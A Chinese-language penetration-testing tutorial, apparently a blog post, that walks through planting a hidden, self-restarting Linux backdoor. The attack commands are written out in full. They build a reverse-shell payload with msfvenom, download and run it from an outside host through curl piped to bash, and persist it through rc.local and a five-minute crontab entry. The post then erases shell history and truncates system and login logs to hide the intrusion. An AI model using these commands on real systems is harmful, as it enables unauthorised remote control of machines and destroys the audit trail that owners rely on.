1.1.1 使用脚本创建无文件后门
1.1.1.1 下载Vegile程序
Vegile是用于linux系统渗透测试中的权限维持。Vegile 这个工具将设置一个后门/rootkit, 并且这个后门会直接隐藏进程,无限连接metesploit,持续维持你的Metepreter会话,即使木马进程被杀死,它依然会再次重新运行,换句话说是该进程无限循环的。
Ps.Vegile官方下载链接: https://github.com/Screetsec/Vegile
- Vegile常用方法:
- ./Vegile --i:隐藏后门
- ./Vegile --u:无限复制metasploit会话,即使他被kill,依然可以再次运行
- 使用注意事项:
- 木马一定要放在Vegile目录下;
- Vegile 一般用于维持meterpreter会话;
# cd /var/www/html # wget https://codeload.github.com/screetsec/Vegile/zip/refs/heads/master # mv master Vegile.zip
1.1.1.2 生成后门文件
# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tep LHOST=192.168.10.180 LPORT=4444 -v "\x00" -f elf -o /var/www/html/backdoor
1.1.1.3 编写后门脚本
# cat >>/var/www/html/attack.sh<<'EOF' #!/bin/bash cd /tmp/ wget http://192.168.10.180/Vegile.zip && unzip Vegile.zip && cd Vegile-master && chmod +x Vegile && wget http://192.168.10.180/backdoor && chmod +x backdoor && echo y | ./Vegile --i backdoor >> /dev/null 2>&1 rm -rf /tmp/Vegile.zip /tmp/Vegile-master EOF
1.1.1.4 msf开启监听
[*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp payload => linux/x64/shell/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.10.180 LHOST => 192.168.10.180 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf6 exploit(multi/handler) > exploit –j
1.1.1.5 在被控主机上执行脚本
[[email protected]est ~]# bash <(curl -s -L http://192.168.10.180/attack.sh) >> /dev/null 2>&1 >>/etc/rc.local
- 说明:
- bash <():表示将括号中的内容通过bash来执行
- curl -s --L:curl是一个利用URL语法在命令行下进行文件传输的工具
-s --silent:表示静默模式不输出任何内容
-L:跟http连接组合使用的效果是把http连接中的文件下载到内存中,然后传bash进行执行,这样好处是本地不会保存任何文件。
- >> /dev/null 2> &1:不输出任何信息
- >>/etc/rc.local:开机重新执行该脚本
1.1.1.6 查看连接情况
1.1.1.7 进行后渗透并清理日志
重启服务器后依然可以连接:
# 添加定时任务 echo '*/5 * * * * root bash <(curl -s -L http://192.168.10.180/attack.sh) >> /dev/null 2>&1' >> /etc/crontab # 删除日志 history –c sed -i 's/HISTSIZE=/#HISTSIZE=/g' /etc/profile sed -i '/#HISTSIZE/ i\\HISTSIZE=0' /etc/profile # 修改系统不再保存历史命令 > /var/log/btmp # 删除登录失败日志 > /var/log/wtmp # 删除登录成功日志 > /var/log/secure # 删除日志记录
以脚本方式清理日志:
#!/bin/bash
> /var/log/syslog
> /var/log/messages
> /var/log/httpd/access_ log
> /var/log/httpd/error_ log
> /var/log/xferlog
> /var/log/secure
> /var/log/auth.log
> /var/log/user.log
> /var/log/wtmp
> /var/log/lastlog
> /var/log/btmp
> /var/run/utmp
history -c

我的微信
如果有技术上的问题可以扫一扫我的微信